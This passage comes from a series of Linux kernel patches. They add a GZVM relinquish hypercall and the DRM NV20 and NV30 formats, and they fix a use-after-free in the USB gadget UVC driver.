fallthrough; case GZVM_EXIT_FAIL_ENTRY: diff --git a/include/linux/gzvm_drv.h b/include/linux/gzvm_drv.h index 0de4642bc01f..638a16e4de6f 100644 --- a/include/linux/gzvm_drv.h +++ b/include/linux/gzvm_drv.h @@ -172,6 +172,8 @@ int gzvm_gfn_to_pfn_memslot(struct gzvm_memslot *memslot, u64 gfn, u64 *pfn); int gzvm_find_memslot(struct gzvm *vm, u64 gpa); int gzvm_handle_page_fault(struct gzvm_vcpu *vcpu); bool gzvm_handle_guest_exception(struct gzvm_vcpu *vcpu); +int gzvm_handle_relinquish(struct gzvm_vcpu *vcpu, phys_addr_t ipa); +bool gzvm_handle_guest_hvc(struct gzvm_vcpu *vcpu); int gzvm_arch_create_device(u16 vm_id, struct gzvm_create_device *gzvm_dev); int gzvm_arch_inject_irq(struct gzvm *gzvm, unsigned int vcpu_idx, diff --git a/include/uapi/linux/gzvm.h b/include/uapi/linux/gzvm.h index f858b04bf7b9..a98787a18c36 100644 --- a/include/uapi/linux/gzvm.h +++ b/include/uapi/linux/gzvm.h @@ -193,6 +193,11 @@ enum { GZVM_EXCEPTION_PAGE_FAULT = 0x1, }; +/* hypercall definitions of GZVM_EXIT_HYPERCALL */ +enum { + GZVM_HVC_MEM_RELINQUISH = 0xc6000009, +}; + /** * struct gzvm_vcpu_run: Same purpose as kvm_run, this struct is * shared between userspace, kernel and From 9673df54cd3462a879ca17539b1bb14954267877 Mon Sep 17 00:00:00 2001 From: Jonas Karlman Date: Mon, 23 Oct 2023 17:37:14 +0000 Subject: [PATCH 06/21] UPSTREAM: drm/fourcc: Add NV20 and NV30 YUV formats DRM_FORMAT_NV20 and DRM_FORMAT_NV30 formats is the 2x1 and non-subsampled variant of NV15, a 10-bit 2-plane YUV format that has no padding between components. Instead, luminance and chrominance samples are grouped into 4s so that each group is packed into an integer number of bytes: YYYY = UVUV = 4 * 10 bits = 40 bits = 5 bytes The '20' and '30' suffix refers to the optimum effective bits per pixel which is achieved when the total number of luminance samples is a multiple of 4. V2: Added NV30 format Signed-off-by: Jonas Karlman Reviewed-by: Sandy Huang Reviewed-by: Christopher Obbard Tested-by: Christopher Obbard Signed-off-by: Heiko Stuebner Link: https://patchwork.freedesktop.org/patch/msgid/20231023173718.188102-2-jonas@kwiboo.se Bug: 300024866 (cherry picked from commit 728c15b4b5f3369cbde73d5e0f14701ab370f985) Change-Id: Ia8fbb5b785c6fc2b4d188bbcef62e232c2ba8ce8 Signed-off-by: Kever Yang --- drivers/gpu/drm/drm_fourcc.c | 8 ++++++++ include/uapi/drm/drm_fourcc.h | 2 ++ 2 files changed, 10 insertions(+) diff --git a/drivers/gpu/drm/drm_fourcc.c b/drivers/gpu/drm/drm_fourcc.c index 0f17dfa8702b..193cf8ed7912 100644 --- a/drivers/gpu/drm/drm_fourcc.c +++ b/drivers/gpu/drm/drm_fourcc.c @@ -299,6 +299,14 @@ const struct drm_format_info *__drm_format_info(u32 format) .num_planes = 2, .char_per_block = { 5, 5, 0 }, .block_w = { 4, 2, 0 }, .block_h = { 1, 1, 0 }, .hsub = 2, .vsub = 2, .is_yuv = true }, + { .format = DRM_FORMAT_NV20, .depth = 0, + .num_planes = 2, .char_per_block = { 5, 5, 0 }, + .block_w = { 4, 2, 0 }, .block_h = { 1, 1, 0 }, .hsub = 2, + .vsub = 1, .is_yuv = true }, + { .format = DRM_FORMAT_NV30, .depth = 0, + .num_planes = 2, .char_per_block = { 5, 5, 0 }, + .block_w = { 4, 2, 0 }, .block_h = { 1, 1, 0 }, .hsub = 1, + .vsub = 1, .is_yuv = true }, { .format = DRM_FORMAT_Q410, .depth = 0, .num_planes = 3, .char_per_block = { 2, 2, 2 }, .block_w = { 1, 1, 1 }, .block_h = { 1, 1, 1 }, .hsub = 1, diff --git a/include/uapi/drm/drm_fourcc.h b/include/uapi/drm/drm_fourcc.h index 868d6909b718..7fc523147eb8 100644 --- a/include/uapi/drm/drm_fourcc.h +++ b/include/uapi/drm/drm_fourcc.h @@ -311,6 +311,8 @@ extern "C" { * index 1 = Cr:Cb plane, [39:0] Cr1:Cb1:Cr0:Cb0 little endian */ #define DRM_FORMAT_NV15 fourcc_code('N', 'V', '1', '5') /* 2x2 subsampled Cr:Cb plane */ +#define DRM_FORMAT_NV20 fourcc_code('N', 'V', '2', '0') /* 2x1 subsampled Cr:Cb plane */ +#define DRM_FORMAT_NV30 fourcc_code('N', 'V', '3', '0') /* non-subsampled Cr:Cb plane */ /* * 2 plane YCbCr MSB aligned From 5f3550218b68d08b768ac6bd0e7341e471c3d73a Mon Sep 17 00:00:00 2001 From: Avichal Rakesh Date: Wed, 8 Nov 2023 16:41:01 -0800 Subject: [PATCH 07/21] FROMGIT: usb: gadget: uvc: prevent use of disabled endpoint Currently the set_alt callback immediately disables the endpoint and queues the v4l2 streamoff event. However, as the streamoff event is processed asynchronously, it is possible that the video_pump thread attempts to queue requests to an already disabled endpoint. This change moves disabling usb endpoint to the end of streamoff event callback. As the endpoint's state can no longer be used, video_pump is now guarded by uvc->state as well. To be consistent with the actual streaming state, uvc->state is now toggled between CONNECTED and STREAMING from the v4l2 event callback only. Link: https://lore.kernel.org/20230615171558.GK741@pendragon.ideasonboard.com/ Link: https://lore.kernel.org/20230531085544.253363-1-dan.scally@ideasonboard.com/ Reviewed-by: Daniel Scally Reviewed-by: Michael Grzeschik Tested-by: Michael Grzeschik Signed-off-by: Avichal Rakesh Link: https://lore.kernel.org/r/20231109004104.3467968-1-arakesh@google.com Signed-off-by: Greg Kroah-Hartman Bug: 296925310 (cherry picked from commit 991544dc579b636e69defa3eec486fd6f6191e59 https://kernel.googlesource.com/pub/scm/linux/kernel/git/gregkh/usb usb-next) Change-Id: Ic5631a526e72cbcf299dcb8167bb3d34468d37e9 Signed-off-by: Avichal Rakesh --- drivers/usb/gadget/function/f_uvc.c | 11 +++++------ drivers/usb/gadget/function/f_uvc.h | 2 +- drivers/usb/gadget/function/uvc.h | 2 +- drivers/usb/gadget/function/uvc_v4l2.c | 20 +++++++++++++++++--- drivers/usb/gadget/function/uvc_video.c | 3 ++- 5 files changed, 26 insertions(+), 12 deletions(-) diff --git a/drivers/usb/gadget/function/f_uvc.c b/drivers/usb/gadget/function/f_uvc.c index 8eca4aff215c..3f7f77aa20c1 100644 --- a/drivers/usb/gadget/function/f_uvc.c +++ b/drivers/usb/gadget/function/f_uvc.c @@ -263,10 +263,13 @@ uvc_function_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl) return 0; } -void uvc_function_setup_continue(struct uvc_device *uvc) +void uvc_function_setup_continue(struct uvc_device *uvc, int disable_ep) { struct usb_composite_dev *cdev = uvc->func.config->cdev; + if (disable_ep && uvc->video.ep) + usb_ep_disable(uvc->video.ep); + usb_composite_setup_continue(cdev); } @@ -334,15 +337,11 @@ uvc_function_set_alt(struct usb_function *f, unsigned interface, unsigned alt) if (uvc->state != UVC_STATE_STREAMING) return 0; - if (uvc->video.ep) - usb_ep_disable(uvc->video.ep); - memset(&v4l2_event, 0, sizeof(v4l2_event)); v4l2_event.type = UVC_EVENT_STREAMOFF; v4l2_event_queue(&uvc->vdev, &v4l2_event); - uvc->state = UVC_STATE_CONNECTED; - return 0; + return USB_GADGET_DELAYED_STATUS; case 1: if (uvc->state != UVC_STATE_CONNECTED) diff --git a/drivers/usb/gadget/function/f_uvc.h b/drivers/usb/gadget/function/f_uvc.h index 1db972d4beeb..083aef0c65c6 100644 --- a/drivers/usb/gadget/function/f_uvc.h +++ b/drivers/usb/gadget/function/f_uvc.h @@ -11,7 +11,7 @@ struct uvc_device; -void uvc_function_setup_continue(struct uvc_device *uvc); +void uvc_function_setup_continue(struct uvc_device *uvc, int disable_ep); void uvc_function_connect(struct uvc_device *uvc); diff --git a/drivers/usb/gadget/function/uvc.h b/drivers/usb/gadget/function/uvc.h index 289c5611e138..b32f3b4e0fb3 100644 --- a/drivers/usb/gadget/function/uvc.h +++ b/drivers/usb/gadget/function/uvc.h @@ -175,7 +175,7 @@ struct uvc_file_handle { * Functions */ -extern void uvc_function_setup_continue(struct uvc_device *uvc); +extern void uvc_function_setup_continue(struct uvc_device *uvc, int disable_ep); extern void uvc_function_connect(struct uvc_device *uvc); extern void uvc_function_disconnect(struct uvc_device *uvc); diff --git a/drivers/usb/gadget/function/uvc_v4l2.c b/drivers/usb/gadget/function/uvc_v4l2.c index a189b08bba80..224aa55299f3 100644 --- a/drivers/usb/gadget/function/uvc_v4l2.c +++ b/drivers/usb/gadget/function/uvc_v4l2.c @@ -457,7 +457,7 @@ uvc_v4l2_streamon(struct file *file, void *fh, enum v4l2_buf_type type) * Complete the alternate setting selection setup phase now that * userspace is ready to provide video frames. */ - uvc_function_setup_continue(uvc); + uvc_function_setup_continue(uvc, 0); uvc->state = UVC_STATE_STREAMING; return 0; @@ -469,11 +469,18 @@ uvc_v4l2_streamoff(struct file *file, void *fh, enum v4l2_buf_type type) struct video_device *vdev = video_devdata(file); struct uvc_device *uvc = video_get_drvdata(vdev); struct uvc_video *video = &uvc->video; + int ret = 0; if (type != video->queue.queue.type) return -EINVAL; - return uvcg_video_enable(video, 0); + uvc->state = UVC_STATE_CONNECTED; + ret = uvcg_video_enable(video, 0); + if (ret < 0) + return ret; + + uvc_function_setup_continue(uvc, 1); + return 0; } static int @@ -506,6 +513,14 @@ uvc_v4l2_subscribe_event(struct v4l2_fh *fh, static void uvc_v4l2_disable(struct uvc_device *uvc) { uvc_function_disconnect(uvc); + /* + * Drop uvc->state to CONNECTED if it was streaming before. + * This ensures that the usb_requests are no longer queued + * to the controller. + */ + if (uvc->state == UVC_STATE_STREAMING) + uvc->state = UVC_STATE_CONNECTED; + uvcg_video_enable(&uvc->video, 0); uvcg_free_buffers(&uvc->video.queue); uvc->func_connected = false; @@ -653,4 +668,3 @@ const struct v4l2_file_operations uvc_v4l2_fops = { .get_unmapped_area = uvcg_v4l2_get_unmapped_area, #endif }; - diff --git a/drivers/usb/gadget/function/uvc_video.c b/drivers/usb/gadget/function/uvc_video.c index 91af3b1ef0d4..c334802ac0a4 100644 --- a/drivers/usb/gadget/function/uvc_video.c +++ b/drivers/usb/gadget/function/uvc_video.c @@ -384,13 +384,14 @@ static void uvcg_video_pump(struct work_struct *work) struct uvc_video_queue *queue = &video->queue; /* video->max_payload_size is only set when using bulk transfer */ bool is_bulk = video->max_payload_size; + struct uvc_device *uvc = video->uvc; struct usb_request *req = NULL; struct uvc_buffer *buf; unsigned long flags; bool buf_done; int ret; - while (video->ep->enabled) { + while (uvc->state == UVC_STATE_STREAMING && video->ep->enabled) { /* * Retrieve the first available USB request, protected by the * request lock. From 20853add09fe00ede3bc74964b36cc1944c88a5b Mon Sep 17 00:00:00 2001 From: Avichal Rakesh Date: Wed, 8 Nov 2023 16:41:02 -0800 Subject: [PATCH 08/21] FROMGIT: usb: gadget: uvc: Allocate uvc_requests one at a time Currently, the uvc gadget driver allocates all uvc_requests as one array and deallocates them all when the video stream stops. This includes de-allocating all the usb_requests associated with those uvc_requests. This can lead to use-after-free issues if any of those de-allocated usb_requests were still owned by the usb controller. This patch is 1 of 2 patches addressing the use-after-free issue. Instead of bulk allocating all uvc_requests as an array, this patch allocates uvc_requests one at a time, which should allows for similar granularity when deallocating the uvc_requests. This patch has no functional changes other than allocating each uvc_request separately, and similarly freeing each of them separately. Link: https://lore.kernel.org/7cd81649-2795-45b6-8c10-b7df1055020d@google.com Reviewed-by: Daniel Scally Reviewed-by: Michael Grzeschik Suggested-by: Michael Grzeschik Tested-by: Michael Grzeschik Signed-off-by: Avichal Rakesh Link: https://lore.kernel.org/r/20231109004104.3467968-2-arakesh@google.com Signed-off-by: Greg Kroah-Hartman Bug: 296925310 (cherry picked from commit aeb686a98a9e9743c4c0338957e59643a2708146 https://kernel.googlesource.com/pub/scm/linux/kernel/git/gregkh/usb usb-next) Change-Id: I33400ac6b28e72c6c10805e167e8bab7e2520a28 Signed-off-by: Avichal Rakesh --- drivers/usb/gadget/function/uvc.h | 3 +- drivers/usb/gadget/function/uvc_video.c | 90 ++++++++++++++----------- 2 files changed, 52 insertions(+), 41 deletions(-) diff --git a/drivers/usb/gadget/function/uvc.h b/drivers/usb/gadget/function/uvc.h index b32f3b4e0fb3..d6f57fe1aa77 100644 --- a/drivers/usb/gadget/function/uvc.h +++ b/drivers/usb/gadget/function/uvc.h @@ -81,6 +81,7 @@ struct uvc_request { struct sg_table sgt; u8 header[UVCG_REQUEST_HEADER_LEN]; struct uvc_buffer *last_buf; + struct list_head list; }; struct uvc_video { @@ -102,7 +103,7 @@ struct uvc_video { /* Requests */ unsigned int req_size; - struct uvc_request *ureq; + struct list_head ureqs; /* all uvc_requests allocated by uvc_video */ struct list_head req_free; spinlock_t req_lock; diff --git a/drivers/usb/gadget/function/uvc_video.c b/drivers/usb/gadget/function/uvc_video.c index c334802ac0a4..1619f9664748 100644 --- a/drivers/usb/gadget/function/uvc_video.c +++ b/drivers/usb/gadget/function/uvc_video.c @@ -227,6 +227,24 @@ uvc_video_encode_isoc(struct usb_request *req, struct uvc_video *video, * Request handling */ +static void +uvc_video_free_request(struct uvc_request *ureq, struct usb_ep *ep) +{ + sg_free_table(&ureq->sgt); + if (ureq->req && ep) { + usb_ep_free_request(ep, ureq->req); + ureq->req = NULL; + } + + kfree(ureq->req_buffer); + ureq->req_buffer = NULL; + + if (!list_empty(&ureq->list)) + list_del_init(&ureq->list); + + kfree(ureq); +} + static int uvcg_video_ep_queue(struct uvc_video *video, struct usb_request *req) { int ret; @@ -293,27 +311,12 @@ uvc_video_complete(struct usb_ep *ep, struct usb_request *req) static int uvc_video_free_requests(struct uvc_video *video) { - unsigned int i; + struct uvc_request *ureq, *temp; - if (video->ureq) { - for (i = 0; i < video->uvc_num_requests; ++i) { - sg_free_table(&video->ureq[i].sgt); - - if (video->ureq[i].req) { - usb_ep_free_request(video->ep, video->ureq[i].req); - video->ureq[i].req = NULL; - } - - if (video->ureq[i].req_buffer) { - kfree(video->ureq[i].req_buffer); - video->ureq[i].req_buffer = NULL; - } - } - - kfree(video->ureq); - video->ureq = NULL; - } + list_for_each_entry_safe(ureq, temp, &video->ureqs, list) + uvc_video_free_request(ureq, video->ep); + INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); video->req_size = 0; return 0; @@ -322,6 +325,7 @@ uvc_video_free_requests(struct uvc_video *video) static int uvc_video_alloc_requests(struct uvc_video *video) { + struct uvc_request *ureq; unsigned int req_size; unsigned int i; int ret = -ENOMEM; @@ -332,29 +336,33 @@ uvc_video_alloc_requests(struct uvc_video *video) * max_t(unsigned int, video->ep->maxburst, 1) * (video->ep->mult); - video->ureq = kcalloc(video->uvc_num_requests, sizeof(struct uvc_request), GFP_KERNEL); - if (video->ureq == NULL) - return -ENOMEM; - - for (i = 0; i < video->uvc_num_requests; ++i) { - video->ureq[i].req_buffer = kmalloc(req_size, GFP_KERNEL); - if (video->ureq[i].req_buffer == NULL) + for (i = 0; i < video->uvc_num_requests; i++) { + ureq = kzalloc(sizeof(struct uvc_request), GFP_KERNEL); + if (ureq == NULL) goto error; - video->ureq[i].req = usb_ep_alloc_request(video->ep, GFP_KERNEL); - if (video->ureq[i].req == NULL) + INIT_LIST_HEAD(&ureq->list); + + list_add_tail(&ureq->list, &video->ureqs); + + ureq->req_buffer = kmalloc(req_size, GFP_KERNEL); + if (ureq->req_buffer == NULL) goto error; - video->ureq[i].req->buf = video->ureq[i].req_buffer; - video->ureq[i].req->length = 0; - video->ureq[i].req->complete = uvc_video_complete; - video->ureq[i].req->context = &video->ureq[i]; - video->ureq[i].video = video; - video->ureq[i].last_buf = NULL; + ureq->req = usb_ep_alloc_request(video->ep, GFP_KERNEL); + if (ureq->req == NULL) + goto error; - list_add_tail(&video->ureq[i].req->list, &video->req_free); + ureq->req->buf = ureq->req_buffer; + ureq->req->length = 0; + ureq->req->complete = uvc_video_complete; + ureq->req->context = ureq; + ureq->video = video; + ureq->last_buf = NULL; + + list_add_tail(&ureq->req->list, &video->req_free); /* req_size/PAGE_SIZE + 1 for overruns and + 1 for header */ - sg_alloc_table(&video->ureq[i].sgt, + sg_alloc_table(&ureq->sgt, DIV_ROUND_UP(req_size - UVCG_REQUEST_HEADER_LEN, PAGE_SIZE) + 2, GFP_KERNEL); } @@ -489,8 +497,8 @@ static void uvcg_video_pump(struct work_struct *work) */ int uvcg_video_enable(struct uvc_video *video, int enable) { - unsigned int i; int ret; + struct uvc_request *ureq; if (video->ep == NULL) { uvcg_info(&video->uvc->func, @@ -502,9 +510,10 @@ int uvcg_video_enable(struct uvc_video *video, int enable) cancel_work_sync(&video->pump); uvcg_queue_cancel(&video->queue, 0); - for (i = 0; i < video->uvc_num_requests; ++i) - if (video->ureq && video->ureq[i].req) - usb_ep_dequeue(video->ep, video->ureq[i].req); + list_for_each_entry(ureq, &video->ureqs, list) { + if (ureq->req) + usb_ep_dequeue(video->ep, ureq->req); + } uvc_video_free_requests(video); uvcg_queue_enable(&video->queue, 0); @@ -536,6 +545,7 @@ int uvcg_video_enable(struct uvc_video *video, int enable) */ int uvcg_video_init(struct uvc_video *video, struct uvc_device *uvc) { + INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); spin_lock_init(&video->req_lock); INIT_WORK(&video->pump, uvcg_video_pump); From 3c26a5d92fb39be07d966123cd6a507d0e78f850 Mon Sep 17 00:00:00 2001 From: Avichal Rakesh Date: Wed, 8 Nov 2023 16:41:03 -0800 Subject: [PATCH 09/21] FROMGIT: usb: gadget: uvc: move video disable logic to its own function This patch refactors the video disable logic in uvcg_video_enable into its own separate function 'uvcg_video_disable'. This function is now used anywhere uvcg_video_enable(video, 0) was used. Reviewed-by: Daniel Scally Suggested-by: Michael Grzeschik Signed-off-by: Avichal Rakesh Link: https://lore.kernel.org/r/20231109004104.3467968-3-arakesh@google.com Signed-off-by: Greg Kroah-Hartman Bug: 296925310 (cherry picked from commit 2079b60bda3257146a4e8ed7525513865f7e6b3e https://kernel.googlesource.com/pub/scm/linux/kernel/git/gregkh/usb usb-next) Change-Id: Ie8934e6fe1577373b01e3c66626e4239cf9f8c83 Signed-off-by: Avichal Rakesh --- drivers/usb/gadget/function/uvc_v4l2.c | 6 ++-- drivers/usb/gadget/function/uvc_video.c | 46 ++++++++++++++++--------- drivers/usb/gadget/function/uvc_video.h | 3 +- 3 files changed, 34 insertions(+), 21 deletions(-) diff --git a/drivers/usb/gadget/function/uvc_v4l2.c b/drivers/usb/gadget/function/uvc_v4l2.c index 224aa55299f3..5c15c5c1dacc 100644 --- a/drivers/usb/gadget/function/uvc_v4l2.c +++ b/drivers/usb/gadget/function/uvc_v4l2.c @@ -449,7 +449,7 @@ uvc_v4l2_streamon(struct file *file, void *fh, enum v4l2_buf_type type) return -EINVAL; /* Enable UVC video. */ - ret = uvcg_video_enable(video, 1); + ret = uvcg_video_enable(video); if (ret < 0) return ret; @@ -475,7 +475,7 @@ uvc_v4l2_streamoff(struct file *file, void *fh, enum v4l2_buf_type type) return -EINVAL; uvc->state = UVC_STATE_CONNECTED; - ret = uvcg_video_enable(video, 0); + ret = uvcg_video_disable(video); if (ret < 0) return ret; @@ -521,7 +521,7 @@ static void uvc_v4l2_disable(struct uvc_device *uvc) if (uvc->state == UVC_STATE_STREAMING) uvc->state = UVC_STATE_CONNECTED; - uvcg_video_enable(&uvc->video, 0); + uvcg_video_disable(&uvc->video); uvcg_free_buffers(&uvc->video.queue); uvc->func_connected = false; wake_up_interruptible(&uvc->func_connected_queue); diff --git a/drivers/usb/gadget/function/uvc_video.c b/drivers/usb/gadget/function/uvc_video.c index 1619f9664748..c3e8c48f46a9 100644 --- a/drivers/usb/gadget/function/uvc_video.c +++ b/drivers/usb/gadget/function/uvc_video.c @@ -493,12 +493,38 @@ static void uvcg_video_pump(struct work_struct *work) } /* - * Enable or disable the video stream. + * Disable the video stream */ -int uvcg_video_enable(struct uvc_video *video, int enable) +int +uvcg_video_disable(struct uvc_video *video) +{ + struct uvc_request *ureq; + + if (video->ep == NULL) { + uvcg_info(&video->uvc->func, + "Video disable failed, device is uninitialized.\n"); + return -ENODEV; + } + + cancel_work_sync(&video->pump); + uvcg_queue_cancel(&video->queue, 0); + + list_for_each_entry(ureq, &video->ureqs, list) { + if (ureq->req) + usb_ep_dequeue(video->ep, ureq->req); + } + + uvc_video_free_requests(video); + uvcg_queue_enable(&video->queue, 0); + return 0; +} + +/* + * Enable the video stream. + */ +int uvcg_video_enable(struct uvc_video *video) { int ret; - struct uvc_request *ureq; if (video->ep == NULL) { uvcg_info(&video->uvc->func, @@ -506,20 +532,6 @@ int uvcg_video_enable(struct uvc_video *video, int enable) return -ENODEV; } - if (!enable) { - cancel_work_sync(&video->pump); - uvcg_queue_cancel(&video->queue, 0); - - list_for_each_entry(ureq, &video->ureqs, list) { - if (ureq->req) - usb_ep_dequeue(video->ep, ureq->req); - } - - uvc_video_free_requests(video); - uvcg_queue_enable(&video->queue, 0); - return 0; - } - if ((ret = uvcg_queue_enable(&video->queue, 1)) < 0) return ret; diff --git a/drivers/usb/gadget/function/uvc_video.h b/drivers/usb/gadget/function/uvc_video.h index 03adeefa343b..8ef6259741f1 100644 --- a/drivers/usb/gadget/function/uvc_video.h +++ b/drivers/usb/gadget/function/uvc_video.h @@ -14,7 +14,8 @@ struct uvc_video; -int uvcg_video_enable(struct uvc_video *video, int enable); +int uvcg_video_enable(struct uvc_video *video); +int uvcg_video_disable(struct uvc_video *video); int uvcg_video_init(struct uvc_video *video, struct uvc_device *uvc); From 82a411cec66480fa8acc14da04823eee581c1324 Mon Sep 17 00:00:00 2001 From: Avichal Rakesh Date: Wed, 8 Nov 2023 16:41:04 -0800 Subject: [PATCH 10/21] FROMGIT: usb: gadget: uvc: Fix use-after-free for inflight usb_requests Currently, the uvc gadget driver allocates all uvc_requests as one array and deallocates them all when the video stream stops. This includes de-allocating all the usb_requests associated with those uvc_requests. This can lead to use-after-free issues if any of those de-allocated usb_requests were still owned by the usb controller. This is patch 2 of 2 in fixing the use-after-free issue. It adds a new flag to uvc_video to track when frames and requests should be flowing. When disabling the video stream, the flag is tripped and, instead of de-allocating all uvc_requests and usb_requests, the gadget driver only de-allocates those usb_requests that are currently owned by it (as present in req_free). Other usb_requests are left untouched until their completion handler is called which takes care of freeing the usb_request and its corresponding uvc_request. Now that uvc_video does not depends on uvc->state, this patch removes unnecessary upates to uvc->state that were made to accommodate uvc_video logic. This should ensure that uvc gadget driver never accidentally de-allocates a usb_request that it doesn't own. Link: https://lore.kernel.org/7cd81649-2795-45b6-8c10-b7df1055020d@google.com Reviewed-by: Daniel Scally Reviewed-by: Michael Grzeschik Suggested-by: Michael Grzeschik Tested-by: Michael Grzeschik Signed-off-by: Avichal Rakesh Link: https://lore.kernel.org/r/20231109004104.3467968-4-arakesh@google.com Signed-off-by: Greg Kroah-Hartman Bug: 296925310 (cherry picked from commit da324ffce34c521b239f319d4051260444a3eb4a https://kernel.googlesource.com/pub/scm/linux/kernel/git/gregkh/usb usb-next) Change-Id: Ib0378394dc20e894507f60c70f71c579d046cd7a Signed-off-by: Avichal Rakesh --- drivers/usb/gadget/function/uvc.h | 1 + drivers/usb/gadget/function/uvc_v4l2.c | 10 +- drivers/usb/gadget/function/uvc_video.c | 130 ++++++++++++++++++++---- 3 files changed, 112 insertions(+), 29 deletions(-) diff --git a/drivers/usb/gadget/function/uvc.h b/drivers/usb/gadget/function/uvc.h index d6f57fe1aa77..eb5d8aa41e95 100644 --- a/drivers/usb/gadget/function/uvc.h +++ b/drivers/usb/gadget/function/uvc.h @@ -102,6 +102,7 @@ struct uvc_video { unsigned int uvc_num_requests; /* Requests */ + bool is_enabled; /* tracks whether video stream is enabled */ unsigned int req_size; struct list_head ureqs; /* all uvc_requests allocated by uvc_video */ struct list_head req_free; diff --git a/drivers/usb/gadget/function/uvc_v4l2.c b/drivers/usb/gadget/function/uvc_v4l2.c index 5c15c5c1dacc..dcb26c91042c 100644 --- a/drivers/usb/gadget/function/uvc_v4l2.c +++ b/drivers/usb/gadget/function/uvc_v4l2.c @@ -474,11 +474,11 @@ uvc_v4l2_streamoff(struct file *file, void *fh, enum v4l2_buf_type type) if (type != video->queue.queue.type) return -EINVAL; - uvc->state = UVC_STATE_CONNECTED; ret = uvcg_video_disable(video); if (ret < 0) return ret; + uvc->state = UVC_STATE_CONNECTED; uvc_function_setup_continue(uvc, 1); return 0; } @@ -513,14 +513,6 @@ uvc_v4l2_subscribe_event(struct v4l2_fh *fh, static void uvc_v4l2_disable(struct uvc_device *uvc) { uvc_function_disconnect(uvc); - /* - * Drop uvc->state to CONNECTED if it was streaming before. - * This ensures that the usb_requests are no longer queued - * to the controller. - */ - if (uvc->state == UVC_STATE_STREAMING) - uvc->state = UVC_STATE_CONNECTED; - uvcg_video_disable(&uvc->video); uvcg_free_buffers(&uvc->video.queue); uvc->func_connected = false; diff --git a/drivers/usb/gadget/function/uvc_video.c b/drivers/usb/gadget/function/uvc_video.c index c3e8c48f46a9..164bdeb7f2a9 100644 --- a/drivers/usb/gadget/function/uvc_video.c +++ b/drivers/usb/gadget/function/uvc_video.c @@ -227,6 +227,10 @@ uvc_video_encode_isoc(struct usb_request *req, struct uvc_video *video, * Request handling */ +/* + * Callers must take care to hold req_lock when this function may be called + * from multiple threads. For example, when frames are streaming to the host. + */ static void uvc_video_free_request(struct uvc_request *ureq, struct usb_ep *ep) { @@ -271,9 +275,26 @@ uvc_video_complete(struct usb_ep *ep, struct usb_request *req) struct uvc_request *ureq = req->context; struct uvc_video *video = ureq->video; struct uvc_video_queue *queue = &video->queue; - struct uvc_device *uvc = video->uvc; + struct uvc_buffer *last_buf; unsigned long flags; + spin_lock_irqsave(&video->req_lock, flags); + if (!video->is_enabled) { + /* + * When is_enabled is false, uvcg_video_disable() ensures + * that in-flight uvc_buffers are returned, so we can + * safely call free_request without worrying about + * last_buf. + */ + uvc_video_free_request(ureq, ep); + spin_unlock_irqrestore(&video->req_lock, flags); + return; + } + + last_buf = ureq->last_buf; + ureq->last_buf = NULL; + spin_unlock_irqrestore(&video->req_lock, flags); + switch (req->status) { case 0: break; @@ -295,17 +316,26 @@ uvc_video_complete(struct usb_ep *ep, struct usb_request *req) uvcg_queue_cancel(queue, 0); } - if (ureq->last_buf) { - uvcg_complete_buffer(&video->queue, ureq->last_buf); - ureq->last_buf = NULL; + if (last_buf) { + spin_lock_irqsave(&queue->irqlock, flags); + uvcg_complete_buffer(queue, last_buf); + spin_unlock_irqrestore(&queue->irqlock, flags); } spin_lock_irqsave(&video->req_lock, flags); - list_add_tail(&req->list, &video->req_free); - spin_unlock_irqrestore(&video->req_lock, flags); - - if (uvc->state == UVC_STATE_STREAMING) + /* + * Video stream might have been disabled while we were + * processing the current usb_request. So make sure + * we're still streaming before queueing the usb_request + * back to req_free + */ + if (video->is_enabled) { + list_add_tail(&req->list, &video->req_free); queue_work(video->async_wq, &video->pump); + } else { + uvc_video_free_request(ureq, ep); + } + spin_unlock_irqrestore(&video->req_lock, flags); } static int @@ -392,20 +422,22 @@ static void uvcg_video_pump(struct work_struct *work) struct uvc_video_queue *queue = &video->queue; /* video->max_payload_size is only set when using bulk transfer */ bool is_bulk = video->max_payload_size; - struct uvc_device *uvc = video->uvc; struct usb_request *req = NULL; struct uvc_buffer *buf; unsigned long flags; bool buf_done; int ret; - while (uvc->state == UVC_STATE_STREAMING && video->ep->enabled) { + while (true) { + if (!video->ep->enabled) + return; + /* - * Retrieve the first available USB request, protected by the - * request lock. + * Check is_enabled and retrieve the first available USB + * request, protected by the request lock. */ spin_lock_irqsave(&video->req_lock, flags); - if (list_empty(&video->req_free)) { + if (!video->is_enabled || list_empty(&video->req_free)) { spin_unlock_irqrestore(&video->req_lock, flags); return; } @@ -487,9 +519,11 @@ static void uvcg_video_pump(struct work_struct *work) return; spin_lock_irqsave(&video->req_lock, flags); - list_add_tail(&req->list, &video->req_free); + if (video->is_enabled) + list_add_tail(&req->list, &video->req_free); + else + uvc_video_free_request(req->context, video->ep); spin_unlock_irqrestore(&video->req_lock, flags); - return; } /* @@ -498,7 +532,11 @@ static void uvcg_video_pump(struct work_struct *work) int uvcg_video_disable(struct uvc_video *video) { - struct uvc_request *ureq; + unsigned long flags; + struct list_head inflight_bufs; + struct usb_request *req, *temp; + struct uvc_buffer *buf, *btemp; + struct uvc_request *ureq, *utemp; if (video->ep == NULL) { uvcg_info(&video->uvc->func, @@ -506,15 +544,58 @@ uvcg_video_disable(struct uvc_video *video) return -ENODEV; } + INIT_LIST_HEAD(&inflight_bufs); + spin_lock_irqsave(&video->req_lock, flags); + video->is_enabled = false; + + /* + * Remove any in-flight buffers from the uvc_requests + * because we want to return them before cancelling the + * queue. This ensures that we aren't stuck waiting for + * all complete callbacks to come through before disabling + * vb2 queue. + */ + list_for_each_entry(ureq, &video->ureqs, list) { + if (ureq->last_buf) { + list_add_tail(&ureq->last_buf->queue, &inflight_bufs); + ureq->last_buf = NULL; + } + } + spin_unlock_irqrestore(&video->req_lock, flags); + cancel_work_sync(&video->pump); uvcg_queue_cancel(&video->queue, 0); - list_for_each_entry(ureq, &video->ureqs, list) { - if (ureq->req) - usb_ep_dequeue(video->ep, ureq->req); + spin_lock_irqsave(&video->req_lock, flags); + /* + * Remove all uvc_requests from ureqs with list_del_init + * This lets uvc_video_free_request correctly identify + * if the uvc_request is attached to a list or not when freeing + * memory. + */ + list_for_each_entry_safe(ureq, utemp, &video->ureqs, list) + list_del_init(&ureq->list); + + list_for_each_entry_safe(req, temp, &video->req_free, list) { + list_del(&req->list); + uvc_video_free_request(req->context, video->ep); } - uvc_video_free_requests(video); + INIT_LIST_HEAD(&video->ureqs); + 